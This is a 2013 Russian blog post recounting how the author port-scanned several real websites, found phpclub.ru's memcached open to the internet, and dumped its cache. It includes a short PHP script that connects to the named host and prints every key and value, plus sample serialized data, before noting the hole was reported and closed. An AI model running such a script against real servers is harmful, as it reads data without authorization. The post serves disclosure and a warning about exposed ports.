...

суббота, 17 августа 2013 г.

[Из песочницы] Как я нашел уязвимость на phpclub.ru

Тихим, теплым, вечером разрабатывая систему кэширования через memcached и добавляя сервер меня вдруг посетила мысль.


С чего все начиналось



А все началось с того, что я перешел с Debian семейства к семейству RHEL. Примерно неделю назад я первый раз своими руками(не могу сказать что на Ubuntu это было своими руками) поднял сервер для разработки проекта. Я своими руками правил конфиги nginx, apache, php — раньше на Ubuntu все ставилось в пару команд и работало само. Впрочем правя конфиги я стал лучше понимать, как оно там все работает. Наверное это меня и подтолкнуло к мысли о memcached.
Поиск цели



Сначала я конечно проэкспериментировал(поставил memcached из rpm и забыл) на своей машине и не был удивлен результатом, так как сама технология подразумевает масштабирование серверами. Но я сильно сомневался, что кто-то оставит такую дыру в реальном проекте. Но мне ничто не мешало проверить это. В качестве сканера портов я использовал nmap. Да простит меня НЛО первым в очереди был habrahabr.ru, но он достойно прошел испытание, а вот попытка номер 4:


11211 порт открыт. К действию



Я написал маленький скрипт на локальной машине и успех:



Малость доработав скрипт:

Вот и он


$t= new Memcached ();
$t->addServer('phpclub.ru', 11211);
$z=$t->getAllKeys();
foreach($z as $k=>$v){
var_dump($t->get($v));
echo $v,'---',$k,"\n";
}





Был получен очень перспективный для хакера результат: все данные были сериализованны. Я принялся анализировать данные, в них мне удалось распознать кеш для меню раздела faq.

А вот и он:

linktracking|i:0;bookmarks|a:5:{i:0;s:11:"((Каталог))";i:1;s:13:"((Изменения))";i:2;s:20:"((НовыеКомментарии))";i:3;s:16:"((Пользователи))";i:4;s:27:"((Регистрация Регистрация))";}bookmarklinks|a:5:{i:0;s:7:"katalog";i:1;s:10:"izmenenija";i:2;s:16:"novyekommentarii";i:3;s:12:"pol_zovateli";i:4;s:12:"registracija";}bookmarksfmt|s:157:"ўўКаталог ==КаталогЇЇ | ўўИзменения ==ИзмененияЇЇ | ўўНовыеКомментарии ==НовыеКомментарииЇЇ | ўўХакИрФсимагущий ==рулит!!!ЇЇ | ўўРегистрация ==РегистрацияЇЇ";show_comments|a:1:{s:24:"qhelp/HowToDisplayErrors";i:0;}'




Честно-честно, он прямо вот так и выглядел! Любые совпадения считать случайностью.

А вот как выглядит страничка с таким кешем:



А что дальше?



А что не происходило дальше и как я не применял магические методы toString и destruct рассказано не будет, мораль не в этом ;)

Естественно, я сразу попытался выйти на связь с админом, сообщил об уязвимости и на данный момент она закрыта.

Мораль:

Закрытие порта от внешних сетей не хитрая вещь, но даже джедаи phpclub.ru могут упустить ее из виду. Этот случай, реальный пример из жизни показывающий, что люди могут ошибаться даже в таких казалось бы элементарных, очевидных вещах. Доверяйте безопасность и конфигурирование сервера профессионалам.


И не надейтесь на то, что ваш ip(даже без привязанного к нему домена) адрес не просканируют.



Сотни джедаев habrauser'ов уже в пути, а за ними и армия клонов ботов.

P.S.

И кто знает сколько еще велосипедов построено на просторах интернета и сколько из них закрыли доступ к memcached с внешних ip…

Кто знает…


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


Комментариев нет:

Отправить комментарий